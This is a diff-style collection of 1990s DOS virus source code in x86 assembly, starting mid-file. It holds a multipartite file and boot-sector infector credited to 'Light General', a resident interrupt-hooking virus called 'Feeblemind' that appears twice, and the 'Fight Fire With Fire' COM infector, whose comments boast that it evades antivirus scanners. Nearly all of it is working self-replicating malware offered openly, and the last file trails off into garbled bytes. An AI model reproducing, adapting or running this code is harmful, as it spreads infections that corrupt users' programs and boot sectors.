jnc e1
|
||||
mov cs:Fhandle,0
|
||||
e1:
|
||||
retf 2
|
||||
NoOurEXT:
|
||||
pop si ax
|
||||
jmp ExitVDM
|
||||
;---------------------------------------------------------
|
||||
bootCX dw 0
|
||||
bootDX dw 0
|
||||
;---------------------------------------------------------
|
||||
InfectClosedFile:
|
||||
push ax bx cx dx es ds si di bp
|
||||
;
|
||||
push cs
|
||||
pop ds
|
||||
call InfectFile
|
||||
;
|
||||
pop bp di si ds es dx cx bx ax
|
||||
;
|
||||
jmp OldDosManager
|
||||
;---------------------------------------------------------
|
||||
;/////////////////////////////////////////////////////////
|
||||
;---------------------------------------------------------
|
||||
FileInstaller:
|
||||
call $+3
|
||||
pop bp
|
||||
sub bp,03
|
||||
mov ax,0FFAAh
|
||||
int 21h
|
||||
jc ExitFileInstall
|
||||
cmp al,0
|
||||
jnz ExitFileInstall
|
||||
push es ds
|
||||
call InstallVirus_to_PC
|
||||
pop ds es
|
||||
ExitFileInstall:
|
||||
|
||||
cmp word ptr cs:[bp][offset OriginBytes-offset FileInstaller],'ZM'
|
||||
jz L_exe
|
||||
|
||||
;-Loaded from com file.-------------------------------------------
|
||||
mov di,100h
|
||||
lea si,[bp][offset OriginBytes-offset FileInstaller]
|
||||
push di
|
||||
movsw
|
||||
movsw
|
||||
movsb
|
||||
ret ; Go to infected com program.
|
||||
;----------------------------
|
||||
OriginBytes Label Byte
|
||||
mov ax,4c00h
|
||||
int 21h
|
||||
db 20h dup (90h)
|
||||
;----------------------------
|
||||
;-Loaded from exe file.--------------------------------------------
|
||||
L_exe:
|
||||
mov ax,es
|
||||
add ax,10h
|
||||
push ax
|
||||
add cs:[bp][offset CS_file-offset FileInstaller],ax
|
||||
pop ax
|
||||
SS_file: add ax,0000
|
||||
cli
|
||||
mov ss,ax
|
||||
SP_file: mov sp,0000
|
||||
sti
|
||||
db 0eah
|
||||
IP_file dw ?
|
||||
CS_file dw ?
|
||||
;-------------------------------------------------------------------
|
||||
InstallVirus_to_PC:
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,0B900h ; 3 page of videobuffer
|
||||
mov es,ax
|
||||
xor bx,bx
|
||||
;
|
||||
mov ax,0201h ; READ MBR
|
||||
mov cx,1
|
||||
mov dx,80h
|
||||
int 13h ; ES:BX = B900:0000h
|
||||
;
|
||||
jnc ReadOk
|
||||
OurBoot:
|
||||
ret
|
||||
ReadOk:
|
||||
; cmp byte ptr es:[bx+01BEh],80h ; Bootable disk ?
|
||||
mov cx,es:[bx+01C0h] ; sect,cyl
|
||||
mov dh,es:[bx+01BFh] ; head
|
||||
;
|
||||
|
||||
mov ds:[bp][(offset FIend-offset FileInstaller)+offset bootCX],cx
|
||||
mov ds:[bp][(offset FIend-offset FileInstaller)+offset bootDX],dx
|
||||
|
||||
;
|
||||
mov ax,0201h ; READ BOOT on drive C:\
|
||||
int 13h
|
||||
cmp word ptr es:[bx+offset BootCode],9090h
|
||||
jz OurBoot ; Already infected!!!
|
||||
;
|
||||
push cx dx
|
||||
;
|
||||
mov ax,0301h ; WRITE OLD BOOT to unuseble section
|
||||
mov dx,80h
|
||||
mov cx,9
|
||||
int 13h
|
||||
;
|
||||
push es ds
|
||||
pop es ds
|
||||
cld
|
||||
mov si,offset BootData
|
||||
lea di,[bp+si][offset FIend-offset FileInstaller]
|
||||
mov cx,40h
|
||||
rep movsb ; Copy origin Boot Data to Virus Boot Data
|
||||
;
|
||||
push cs
|
||||
pop ds
|
||||
lea bx,[bp][offset FIend-offset FileInstaller+512]
|
||||
;
|
||||
mov ax,0304h ; WRITE VIRUS BODY
|
||||
mov cx,10
|
||||
int 13h
|
||||
;
|
||||
sub bx,512
|
||||
mov ax,0301h ; WRITE VIRUS BOOT SECTOR in system area
|
||||
pop dx cx
|
||||
int 13h
|
||||
ret
|
||||
;---------------------------------------------------------
|
||||
FIend label byte
|
||||
;---------------------------------------------------------
|
||||
;/////////////////////////////////////////////////////////
|
||||
;---------------------------------------------------------
|
||||
; ENTER : BX = File Handle
|
||||
; EXIT : File not CLOSED!!! , Fhandle = 0
|
||||
InfectFile:
|
||||
call diskryptor
|
||||
mov ah,3fh
|
||||
mov cx,18h
|
||||
mov dx,offset OriginBytes
|
||||
mov si,dx
|
||||
int 21h
|
||||
jc _1
|
||||
cmp word ptr ds:[offset OriginBytes],'ZM'
|
||||
jz _EXE
|
||||
cmp word ptr ds:[offset OriginBytes+3],'::'
|
||||
jz _1
|
||||
;-Infect .COM --------------------------------
|
||||
cmp bp,(65500-(512*Len))
|
||||
ja _1 ;„«¨ ¡®«ìè¥ ¤®¯ãá⨬®©.
|
||||
mov es:[di+21],bp ;F.p. = end file.
|
||||
;-Make JMP------------------------------------
|
||||
sub bp,03
|
||||
mov ds:[offset jmp_n],bp
|
||||
call WriteBody
|
||||
jc _1b
|
||||
mov cx,05h
|
||||
mov dx,offset new_3_byte
|
||||
ExitWrite:
|
||||
mov ah,40h
|
||||
int 21h
|
||||
_1b: jmp exit_date
|
||||
_1: ret
|
||||
;-Infect .EXE ---------------------------------
|
||||
_EXE:
|
||||
cmp ds:[si+12h],'::' ; Already infected ?
|
||||
jz _1 ; Yes!
|
||||
mov ax,ds:[si+4] ; Pages (512b).
|
||||
dec ax
|
||||
mov cx,512
|
||||
mul cx
|
||||
add ax,[si+2] ; DX:AX = File len from header.
|
||||
cmp ax,bp ; Real file len = dx:ax ?
|
||||
jnz _1 ; No - this is overlay.
|
||||
cmp es:[di+19],dx ; ********************
|
||||
jnz _1 ; No - this is overlay.
|
||||
;-----
|
||||
mov es:[di+21],ax ; F.p.= end file.
|
||||
mov es:[di+23],dx
|
||||
;-Get header.-----------------------------------
|
||||
mov [si+12h],'::'
|
||||
mov ax,[si+14h]
|
||||
mov ds:[offset IP_file],ax
|
||||
mov ax,[si+16h]
|
||||
mov ds:[offset CS_file],ax
|
||||
mov ax,[si+10h]
|
||||
mov word ptr ds:[offset SP_file+1],ax
|
||||
mov ax,[si+0eh]
|
||||
mov word ptr ds:[offset SS_file+1],ax
|
||||
;-----------------------------------------------
|
||||
xchg ax,bp
|
||||
mov cx,10h
|
||||
div cx
|
||||
sub ax,[si+8]
|
||||
sbb dx,0
|
||||
mov [si+16h],ax ; ReloCS.
|
||||
mov [si+0eh],ax ; ReloSS
|
||||
mov [si+14h],dx ; ExeIP.
|
||||
mov [si+10h],4096 ; ExeSP
|
||||
;-Correcting file len in header.----------------
|
||||
add word ptr [si+4],len ; Newlen=OldLen+(512*len)
|
||||
;-Write virus in file.--------------------------
|
||||
call WriteBody
|
||||
jc exit_date
|
||||
;-Write new header.-----------------------------
|
||||
mov cx,18h
|
||||
mov ah,40h
|
||||
mov dx,offset OriginBytes
|
||||
int 21h
|
||||
exit_date:
|
||||
mov ax,5701h
|
||||
mov cx,es:[di+13]
|
||||
mov dx,es:[di+15]
|
||||
int 21h
|
||||
ret
|
||||
;----------------------------------------------
|
||||
WriteBody proc
|
||||
mov Fhandle,0
|
||||
mov dx,offset FileInstaller
|
||||
mov cx,(offset FIend - offset FileInstaller)
|
||||
mov ah,40h
|
||||
int 21h
|
||||
xor dx,dx
|
||||
mov cx,512*len
|
||||
mov ah,40h
|
||||
int 21h
|
||||
mov es:[di+21],dx ; F.p.= start file.
|
||||
mov es:[di+23],dx ;
|
||||
ret
|
||||
WriteBody endp
|
||||
;----------------------------------------------
|
||||
diskryptor proc
|
||||
mov ax,1220h
|
||||
push bx
|
||||
int 2fh
|
||||
mov bl,es:[di]
|
||||
mov ax,1216h
|
||||
int 2fh
|
||||
pop bx
|
||||
mov byte ptr es:[di+2],02 ; mode = r/w.
|
||||
xor dx,dx
|
||||
mov es:[di+21],dx ; F.p.= end file.
|
||||
mov es:[di+23],dx ; F.p.= end file.
|
||||
mov bp,es:[di+17]
|
||||
ret
|
||||
diskryptor endp
|
||||
;-----------------------------------------------
|
||||
Ftype db 0 ; 1 - EXE ; 2 - COM
|
||||
Fhandle dw 0 ; Handle of this file or 0000 for NoFile
|
||||
;-----------------------------------------------
|
||||
new_3_byte db 0e9h
|
||||
jmp_n dw 0000
|
||||
db '::'
|
||||
;---------------------------------------------------------
|
||||
ExitProg:
|
||||
push ax bx cx dx es cs
|
||||
pop es
|
||||
;
|
||||
mov ax,0301h
|
||||
mov cx,cs:bootCX
|
||||
mov dx,cs:bootDX
|
||||
xor bx,bx
|
||||
int 13h
|
||||
;
|
||||
pop es dx cx bx ax
|
||||
jmp ExitVDM
|
||||
;---------------------------------------------------------
|
||||
RunProg:
|
||||
push ax bx cx dx es cs
|
||||
pop es
|
||||
;
|
||||
mov ax,0201h ; READ ORIGIN BOOT
|
||||
mov cx,0009
|
||||
mov dx,0080h
|
||||
lea bx,Buffer
|
||||
int 13h
|
||||
;
|
||||
mov ax,0301h ; WRITE ORIGIN BOOT TO ¥£® ORIGIN PLACE
|
||||
mov cx,cs:bootCX
|
||||
mov dx,cs:bootDX
|
||||
int 13h
|
||||
;
|
||||
pop es dx cx bx ax
|
||||
jmp ExitVDM
|
||||
;---------------------------------------------------------
|
||||
;/////////////////////////////////////////////////////////
|
||||
;---------------------------------------------------------
|
||||
db '(c) Light General.Kiev.KIUCA.1996.NOT for free use.',0
|
||||
db '(�®¡ª ï ¯®¯ë⪠®¯ãáâ¨âì €¤¨ä...€¤®«ìä...‰®á¨ä...ƒ“‹€ƒ...A€aa )',0
|
||||
;---------------------------------------------------------
|
||||
Header db 20h dup (?)
|
||||
Buffer db 512 dup (?)
|
||||
;----------------------------------------------------------------------
|
||||
Virus1stInstaller:
|
||||
mov ax,offset FIend-offset FileInstaller
|
||||
xor bp,bp
|
||||
sub bp,ax
|
||||
call InstallVirus_to_PC
|
||||
mov ax,4c00h
|
||||
int 21h
|
||||
;-----------------------------------------------------------------------
|
||||
.stack 1024
|
||||
|
||||
end Virus1stInstaller
|
||||
@@ -0,0 +1,9 @@
|
||||
|
||||
Start Stop Length Name Class
|
||||
|
||||
00000H 007B4H 007B5H _TEXT CODE
|
||||
007B6H 007B6H 00000H _DATA DATA
|
||||
007C0H 00BBFH 00400H STACK STACK
|
||||
|
||||
Program entry point at 0000:07A6
|
||||
|
||||
@@ -0,0 +1,120 @@
|
||||
;
|
||||
; Feeblemind
|
||||
;
|
||||
Start: Jmp Install
|
||||
|
||||
Old21 Dd 0
|
||||
|
||||
Org21 Dd 0
|
||||
|
||||
Inc10: Add Ah,10h
|
||||
Eoi: Jmp Dword Ptr Cs:[Org21]
|
||||
|
||||
New21: Sub Ah,10h
|
||||
Cmp Ax,3b00h
|
||||
Jne Inc10
|
||||
Push Ax
|
||||
Push Bx
|
||||
Push Cx
|
||||
Push Dx
|
||||
Push Ds
|
||||
Push Es
|
||||
Push Si
|
||||
Push Di
|
||||
Mov Ax,3d02h
|
||||
Pushf
|
||||
Call Dword ptr Cs:[Old21]
|
||||
Xchg Ax,Bx
|
||||
Mov Ah,30h
|
||||
Add Ah,10h
|
||||
Mov Cx,VLen
|
||||
Lea Dx,Start
|
||||
Mov Ds,Cs
|
||||
Pushf
|
||||
Call Dword ptr Cs:[Old21]
|
||||
Mov Ah,3eh
|
||||
Pushf
|
||||
Call Dword Ptr Cs:[old21]
|
||||
Pop Di
|
||||
Pop Si
|
||||
Pop Es
|
||||
Pop Ds
|
||||
Pop Dx
|
||||
Pop Cx
|
||||
Pop Bx
|
||||
Pop Ax
|
||||
Jmp EOI
|
||||
|
||||
Db '[Feeblemind]'
|
||||
|
||||
Install: Mov Ax,3501h
|
||||
Int 21h
|
||||
Mov Word Ptr Cs:[Old1],Bx
|
||||
Mov Word Ptr Cs:[Old1][2],Es
|
||||
Mov Ax,2501h
|
||||
Mov Ds,Cs
|
||||
Lea Dx,New1
|
||||
Int 21h
|
||||
|
||||
Cli
|
||||
Pushf
|
||||
Pop Ax
|
||||
Or Ah,1
|
||||
Push Ax
|
||||
Popf
|
||||
Sti
|
||||
|
||||
Mov Ah,30h
|
||||
Int 21h
|
||||
|
||||
Cli
|
||||
Pushf
|
||||
Pop Ax
|
||||
And Ah,0feh
|
||||
Push Ax
|
||||
Popf
|
||||
Sti
|
||||
|
||||
Mov Ds,Word ptr Cs:[Old1][2]
|
||||
Mov Dx,Word ptr Cs:[Old1]
|
||||
Mov Ax,2501h
|
||||
Int 21h
|
||||
|
||||
Mov Ax,1521h
|
||||
Add Ah,20h
|
||||
Int 21h
|
||||
Mov Word Ptr Cs:[Org21],Bx
|
||||
Mov Word Ptr Cs:[Org21][2],Es
|
||||
|
||||
Mov Ax,1521h
|
||||
Add Ah,10h
|
||||
Mov Ds,Cs
|
||||
Lea Dx,New21
|
||||
Int 21h
|
||||
Lea Dx,EndByte
|
||||
Int 27h
|
||||
|
||||
Old1 Dd 0
|
||||
|
||||
New1: Push Bp
|
||||
Mov Bp,Sp
|
||||
|
||||
Cmp Word Ptr Ss:[Bp][4],116h
|
||||
Jne Einde
|
||||
Push Ax
|
||||
Mov Ax,Ss:[Bp][4]
|
||||
Mov Word Ptr Cs:[Old21][2],Ax
|
||||
Mov Ax,Ss:[Bp][2]
|
||||
Mov Word Ptr Cs:[Old21],Ax
|
||||
And Word Ptr Ss:[Bp][6],0fffeh
|
||||
Pop Ax
|
||||
Einde: Pop Bp
|
||||
Iret
|
||||
|
||||
Endbyte Db 0
|
||||
Vlen Equ $-Start
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
@@ -0,0 +1,120 @@
|
||||
;
|
||||
; Feeblemind
|
||||
;
|
||||
Start: Jmp Install
|
||||
|
||||
Old21 Dd 0
|
||||
|
||||
Org21 Dd 0
|
||||
|
||||
Inc10: Add Ah,10h
|
||||
Eoi: Jmp Dword Ptr Cs:[Org21]
|
||||
|
||||
New21: Sub Ah,10h
|
||||
Cmp Ax,3b00h
|
||||
Jne Inc10
|
||||
Push Ax
|
||||
Push Bx
|
||||
Push Cx
|
||||
Push Dx
|
||||
Push Ds
|
||||
Push Es
|
||||
Push Si
|
||||
Push Di
|
||||
Mov Ax,3d02h
|
||||
Pushf
|
||||
Call Dword ptr Cs:[Old21]
|
||||
Xchg Ax,Bx
|
||||
Mov Ah,30h
|
||||
Add Ah,10h
|
||||
Mov Cx,VLen
|
||||
Lea Dx,Start
|
||||
Mov Ds,Cs
|
||||
Pushf
|
||||
Call Dword ptr Cs:[Old21]
|
||||
Mov Ah,3eh
|
||||
Pushf
|
||||
Call Dword Ptr Cs:[old21]
|
||||
Pop Di
|
||||
Pop Si
|
||||
Pop Es
|
||||
Pop Ds
|
||||
Pop Dx
|
||||
Pop Cx
|
||||
Pop Bx
|
||||
Pop Ax
|
||||
Jmp EOI
|
||||
|
||||
Db '[Feeblemind]'
|
||||
|
||||
Install: Mov Ax,3501h
|
||||
Int 21h
|
||||
Mov Word Ptr Cs:[Old1],Bx
|
||||
Mov Word Ptr Cs:[Old1][2],Es
|
||||
Mov Ax,2501h
|
||||
Mov Ds,Cs
|
||||
Lea Dx,New1
|
||||
Int 21h
|
||||
|
||||
Cli
|
||||
Pushf
|
||||
Pop Ax
|
||||
Or Ah,1
|
||||
Push Ax
|
||||
Popf
|
||||
Sti
|
||||
|
||||
Mov Ah,30h
|
||||
Int 21h
|
||||
|
||||
Cli
|
||||
Pushf
|
||||
Pop Ax
|
||||
And Ah,0feh
|
||||
Push Ax
|
||||
Popf
|
||||
Sti
|
||||
|
||||
Mov Ds,Word ptr Cs:[Old1][2]
|
||||
Mov Dx,Word ptr Cs:[Old1]
|
||||
Mov Ax,2501h
|
||||
Int 21h
|
||||
|
||||
Mov Ax,1521h
|
||||
Add Ah,20h
|
||||
Int 21h
|
||||
Mov Word Ptr Cs:[Org21],Bx
|
||||
Mov Word Ptr Cs:[Org21][2],Es
|
||||
|
||||
Mov Ax,1521h
|
||||
Add Ah,10h
|
||||
Mov Ds,Cs
|
||||
Lea Dx,New21
|
||||
Int 21h
|
||||
Lea Dx,EndByte
|
||||
Int 27h
|
||||
|
||||
Old1 Dd 0
|
||||
|
||||
New1: Push Bp
|
||||
Mov Bp,Sp
|
||||
|
||||
Cmp Word Ptr Ss:[Bp][4],116h
|
||||
Jne Einde
|
||||
Push Ax
|
||||
Mov Ax,Ss:[Bp][4]
|
||||
Mov Word Ptr Cs:[Old21][2],Ax
|
||||
Mov Ax,Ss:[Bp][2]
|
||||
Mov Word Ptr Cs:[Old21],Ax
|
||||
And Word Ptr Ss:[Bp][6],0fffeh
|
||||
Pop Ax
|
||||
Einde: Pop Bp
|
||||
Iret
|
||||
|
||||
Endbyte Db 0
|
||||
Vlen Equ $-Start
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
@@ -0,0 +1,256 @@
|
||||
; VirusName: Fight Fire With Fire
|
||||
; Country : Sweden
|
||||
; Author : Metal Militia / Immortal Riot
|
||||
; Date : 07-22-1993
|
||||
;
|
||||
; This is an mutation of 7th-son from 'Unknown'.
|
||||
; Many thanks to the scratch coder of 7th-son.
|
||||
;
|
||||
; We've tried this virus ourself, and it works just fine.
|
||||
; Non-overwriting, adds 473 to any comfile over 1701 bytes,
|
||||
; in current directory. No bugs have been reported.
|
||||
; Originally from the Netherlands, in 1991.
|
||||
;
|
||||
; This is the second real mutation of 7th-son.
|
||||
;
|
||||
; McAfee Scan v105 can't find it, and
|
||||
; S&S Toolkit 6.5 don't find it either.
|
||||
;
|
||||
; I haven't tried with scanners like Fprot/Tbscan,
|
||||
; but they will probably report some virus structure.
|
||||
;
|
||||
; Best Regards : [Metal Militia]
|
||||
; [The Unforgiven]
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
|
||||
|
||||
FILELEN equ quit - start
|
||||
MINTARGET equ 1701 ; MINIMUM bytes of file to infect
|
||||
MAXTARGET equ -(FILELEN+40h) ; MAX bytes of file to infect
|
||||
|
||||
org 100h
|
||||
|
||||
.RADIX 16
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Dummy program (infected)
|
||||
;****************************************************************************
|
||||
|
||||
begin: db 5Dh
|
||||
jmp start
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Begin of the virus
|
||||
;****************************************************************************
|
||||
|
||||
start: call start2
|
||||
start2: pop bp
|
||||
push cs
|
||||
sub bp,0103h
|
||||
|
||||
lea si,[bp+offset begbuf-4] ;restore begin of file
|
||||
mov di,0100h
|
||||
movsw
|
||||
movsw
|
||||
|
||||
mov ax,3300h ;get ctrl-break flag
|
||||
int 21
|
||||
push dx
|
||||
|
||||
xor dl,dl ;clear the flag
|
||||
mov ax,3301h
|
||||
int 21
|
||||
|
||||
mov ax,3524h ;get int24 vector
|
||||
int 21
|
||||
push bx
|
||||
push es
|
||||
|
||||
mov dx,offset ni24 - 4 ;set new int24 vector
|
||||
add dx,bp
|
||||
mov ax,2524h
|
||||
int 21
|
||||
|
||||
lea dx,[bp+offset quit] ;set new DTA adres
|
||||
mov ah,1Ah
|
||||
int 21
|
||||
add dx,1Eh
|
||||
mov word ptr [bp+offset nameptr-4],dx
|
||||
|
||||
lea si,[bp+offset grandfather-4] ;check generation
|
||||
cmp [si],0808h
|
||||
jne verder
|
||||
|
||||
lea dx,[bp+offset sontxt-4] ;9th son of a 9th son!
|
||||
mov ah,09h
|
||||
int 21
|
||||
|
||||
verder: mov ax,[si] ;update generations
|
||||
xchg ah,al
|
||||
xor al,al
|
||||
mov [si],ax
|
||||
|
||||
lea dx,[bp+offset filename-4] ;find first COM-file
|
||||
xor cx,cx
|
||||
mov ah,4Eh
|
||||
int 21
|
||||
|
||||
infloop: mov dx,word ptr [bp+offset nameptr-4]
|
||||
call infect
|
||||
|
||||
mov ah,4Fh ;find next file
|
||||
int 21
|
||||
jnc infloop
|
||||
|
||||
pop ds ;restore int24 vector
|
||||
pop dx
|
||||
mov ax,2524h
|
||||
int 21
|
||||
|
||||
pop dx ;restore ctrl-break flag
|
||||
mov ax,3301h
|
||||
int 21
|
||||
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
mov ax,0100h ;put old start-adres on stack
|
||||
push ax
|
||||
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
|
||||
;****************************************************************************
|
||||
|
||||
infect: cld
|
||||
|
||||
mov ax,4300h ;ask attributes
|
||||
int 21
|
||||
push cx
|
||||
|
||||
xor cx,cx ;clear flags
|
||||
call setattr
|
||||
jc return1
|
||||
|
||||
mov ax,3D02h ;open the file
|
||||
int 21
|
||||
jc return1
|
||||
xchg bx,ax
|
||||
|
||||
mov ax,5700h ;get file date & time
|
||||
int 21
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov cx,4 ;read begin of file
|
||||
lea dx,[bp+offset begbuf-4]
|
||||
mov ah,3fh
|
||||
int 21
|
||||
|
||||
mov al,byte ptr [bp+begbuf-4] ;already infected?
|
||||
cmp al,5Dh
|
||||
je return2
|
||||
cmp al,5Ah ;or a weird EXE?
|
||||
je return2
|
||||
|
||||
call endptr ;get file-length
|
||||
|
||||
cmp ax,MAXTARGET ;check length of file
|
||||
jnb return2
|
||||
cmp ax,MINTARGET
|
||||
jbe return2
|
||||
|
||||
push ax
|
||||
mov cx,FILELEN ;write program to end of file
|
||||
lea dx,[bp+offset start-4]
|
||||
mov ah,40h
|
||||
int 21
|
||||
cmp ax,cx ;are all bytes written?
|
||||
pop ax
|
||||
jnz return2
|
||||
|
||||
sub ax,4 ;calculate new start-adres
|
||||
mov word ptr [bp+newbeg-2],ax
|
||||
|
||||
call beginptr ;write new begin of file
|
||||
mov cx,4
|
||||
lea dx,[bp+offset newbeg-4]
|
||||
mov ah,40h
|
||||
int 21
|
||||
|
||||
inc byte ptr [si] ;number of next son
|
||||
|
||||
return2: pop dx ;restore file date & time
|
||||
pop cx
|
||||
mov ax,5701h
|
||||
int 21
|
||||
|
||||
mov ah,3Eh ;close the file
|
||||
int 21
|
||||
|
||||
return1: pop cx ;restore file-attribute
|
||||
; call setattr
|
||||
|
||||
; ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Changes file-attributes
|
||||
;****************************************************************************
|
||||
|
||||
setattr: mov dx,word ptr [bp+offset nameptr-4]
|
||||
mov ax,4301h
|
||||
int 21
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Subroutines for file-pointer
|
||||
;****************************************************************************
|
||||
|
||||
beginptr: mov ax,4200h ;go to begin of file
|
||||
jmp short ptrvrdr
|
||||
|
||||
endptr: mov ax,4202h ;go to end of file
|
||||
ptrvrdr: xor cx,cx
|
||||
xor dx,dx
|
||||
int 21
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Interupt handler 24
|
||||
;****************************************************************************
|
||||
|
||||
ni24: mov al,03
|
||||
iret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Data
|
||||
;****************************************************************************
|
||||
|
||||
begbuf db 0CDh, 20h, 0, 0
|
||||
newbeg db 5Dh, 0E9h, 0, 0
|
||||
nameptr dw ?
|
||||
sontxt db 'Fight Fire With Fire...',0Dh, 0Ah, '$' ;printed after
|
||||
grandfather db 0 ;XX infections
|
||||
father db 0
|
||||
filename db '*.COM',0 ; File(s) to infect
|
||||
db 'Soon to fill our lungs the hot winds of death '
|
||||
db 'The gods are laughing, so take your last breath '
|
||||
db 'é]`x | ||||